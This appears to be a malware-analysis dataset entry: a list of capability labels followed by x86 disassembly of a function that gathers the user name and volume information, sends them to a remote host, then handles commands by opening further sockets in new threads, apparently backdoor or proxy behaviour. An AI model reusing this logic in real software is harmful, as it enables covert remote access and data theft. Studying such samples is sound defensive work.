Function at 0x40141f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff858
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.00401e6a
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x40191e
mov dword [ebp - 4], eax
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x40191e
mov dword [ebp - 0x34], eax
push 0
push 1
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0x680], eax
mov edi, dword [ebp - 0x34]
mov dword [edi], 0x100
push edi
lea eax, [edi + 0x52]
push eax
push 2
call sub.secur32.dll_GetUserNameExA
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x684], 1
push 4
lea eax, [ebp - 0x684]
push eax
push 1
push 6
push dword [ebp - 0x35c]
call sub.wsock32.dll_setsockopt
lea eax, [ebp - 0x7a0]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401e81
push 2
lea eax, [ebp - 0x7a0]
push eax
call fcn.00401d57
mov dword [ebp - 0x18], eax
push dword [ebp + 0xc]
call sub.wsock32.dll_htons
mov word [ebp - 0x1a], ax
mov word [ebp - 0x1c], 2
mov dword [ebp - 0x684], 1
lea eax, [ebp - 0x684]
push eax
push 0x8004667e
push dword [ebp - 0x35c]
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x35c]
call sub.wsock32.dll_connect
push 0
push 0xa
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x35c]
call fcn.00401e30
lea eax, [ebp - 0x24]
push eax
push 0
lea eax, [ebp - 0x30]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x40191e
mov dword [ebp - 0x684], 0
lea eax, [ebp - 0x684]
push eax
push 0x8004667e
push dword [ebp - 0x35c]
call sub.wsock32.dll_ioctlsocket
push 0x32
lea eax, [edi + 0x1c]
push eax
push 0x404078
call fcn.00401de3
mov word [edi + 0x4e], 1
mov byte [edi + 0x7b], 0
push 0
push 0
push 0
push 0
lea eax, [edi + 0x7c]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
push 0x32
lea eax, [edi + 0x4e]
push eax
push 0x32
push 0x404078
call fcn.004019a4
mov eax, dword [ebp - 0x34]
add eax, 0x1c
push 0
push 0x64
push eax
push dword [ebp - 0x35c]
call fcn.00401c7d
cmp dword [ebp - 8], 0
jne 0x40169b
cmp dword [ebp - 0x3c], 4
je 0x40169b
push 0
push 0x3c
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x35c]
call fcn.00401e30
lea eax, [ebp - 0x24]
push eax
push 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0
jl 0x40191e
or eax, eax
jne 0x40169b
cmp dword [ebp - 0x38], 0
jne 0x40191e
cmp dword [ebp - 0x3c], 0
jne 0x40191e
mov dword [ebp - 0x69c], 1
inc dword [ebp - 0x7a4]
cmp dword [ebp - 0x7a4], 2
je 0x40191e
mov dword [ebp - 0x7a8], 0
push 3
lea eax, [ebp - 0x7a8]
push eax
push 0x32
push 0x404078
call fcn.004019a4
push dword [ebp - 0x680]
push 3
lea eax, [ebp - 0x7a8]
push eax
push dword [ebp - 0x35c]
call fcn.00401c7d
jmp 0x4015e3
mov edi, dword [ebp - 0x34]
cmp dword [ebp - 0x38], 0
jne 0x4016ae
cmp dword [ebp - 0x3c], 4
jne 0x401896
cmp word [edi + 2], 0
jne 0x401703
cmp byte [edi], 0xff
jne 0x4016d4
cmp byte [edi + 1], 0xfe
jne 0x4016d4
mov dword [ebp - 0x6a0], 1
jmp 0x40191e
cmp byte [edi], 0
jne 0x4016e5
cmp byte [edi + 1], 0
jne 0x4016e5
nop
jmp 0x40188a
movzx ebx, byte [edi + 1]
cmp dword [ebp + ebx*4 - 0x35c], 0
je 0x4016fe
mov dword [ebp + ebx*4 - 0x35c], 0
jmp 0x40188a
cmp dword [ebp - 8], 0
jne 0x401742
push 0
push 0x10000
push dword [ebp - 4]
push dword [ebp - 0x35c]
call fcn.00401d04
test eax, eax
jle 0x40191e
mov dword [ebp - 8], eax
mov dword [ebp - 0x7a4], 0
push 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00401de3
mov edx, dword [ebp - 0x38]
movzx ecx, word [edi + 2]
sub ecx, edx
cmp dword [ebp - 8], ecx
ja 0x401753
mov ecx, dword [ebp - 8]
push ecx
lea eax, [edx + edi + 4]
push eax
push dword [ebp - 0xc]
call fcn.00401de3
add dword [ebp - 0xc], ecx
sub dword [ebp - 8], ecx
add dword [ebp - 0x38], ecx
mov ax, word [ebp - 0x38]
cmp ax, word [edi + 2]
jne 0x40188a
movzx eax, word [edi + 2]
push eax
lea eax, [edi + 4]
push eax
push 0x32
push 0x404078
call fcn.004019a4
movzx ebx, byte [edi + 1]
cmp word [edi], 0xffff
jne 0x40179d
nop
jmp 0x401883
cmp byte [edi], 0
jne 0x40186c
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x40191e
mov esi, eax
push 0x180
push esi
push edi
call fcn.00401de3
lea eax, [ebp - 0x67c]
mov dword [esi + 0x180], eax
mov dword [esi + 0x184], ebx
push 4
lea eax, [esi + 0x188]
push eax
lea eax, [ebp - 0x680]
push eax
call fcn.00401de3
lea eax, [ebp - 0x35c]
mov dword [esi + 0x18c], eax
mov dword [esi + 0x190], esi
cmp byte [esi + 7], 4
je 0x40181b
push 6
push 1
push 2
call sub.wsock32.dll_socket
jmp 0x401826
push 6
push 1
push 0x17
call sub.wsock32.dll_socket
mov dword [ebp + ebx*4 - 0x35c], eax
mov dword [ebp - 0x684], 1
push 4
lea eax, [ebp - 0x684]
push eax
push 1
push 6
push dword [ebp + ebx*4 - 0x35c]
call sub.wsock32.dll_setsockopt
push 0
push 0
push esi
push 0x4010b0
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp + ebx*4 - 0x67c], eax
jmp 0x401883
movzx eax, word [edi + 2]
push 0
push eax
lea eax, [edi + 4]
push eax
push dword [ebp + ebx*4 - 0x35c]
call fcn.00401c7d
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
jmp 0x401919
cmp dword [ebp - 8], 0
jne 0x4018db
push 0
push 0x10000
push dword [ebp - 4]
push dword [ebp - 0x35c]
call fcn.00401d04
test eax, eax
jle 0x40191e
mov dword [ebp - 0x69c], 1
mov dword [ebp - 8], eax
mov dword [ebp - 0x7a4], 0
push 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00401de3
mov ecx, dword [ebp - 0x3c]
mov edx, 4
sub edx, dword [ebp - 0x3c]
cmp dword [ebp - 8], edx
jae 0x4018ee
mov edx, dword [ebp - 8]
push edx
lea eax, [ecx + edi]
push eax
push dword [ebp - 0xc]
call fcn.00401de3
add dword [ebp - 0xc], edx
sub dword [ebp - 8], edx
add dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 4
jne 0x401919
push 4
push edi
push 0x32
push 0x404078
call fcn.004019a4
jmp 0x4015e3
push 2
push dword [ebp - 0x35c]
call sub.wsock32.dll_shutdown
push dword [ebp - 0x35c]
call sub.wsock32.dll_closesocket
lea esi, [ebp - 0x35c]
mov ebx, 0xc8
mov dword [esi], 0
add esi, 4
dec ebx
jne 0x401941
xor eax, eax
lea edi, [ebp - 0x67c]
mov ecx, 0xc8
repe scasd eax, dword es:[edi]
jne 0x40194d
push dword [ebp - 0x680]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
push 0x8000
push 0
push dword [ebp - 0x34]
call sub.kernel32.dll_VirtualFree
cmp dword [ebp - 0x6a0], 1
jne 0x401997
push 0
call sub.kernel32.dll_ExitProcess
mov eax, dword [ebp - 0x69c]
pop esi
pop edi
pop ebx
leave
ret 8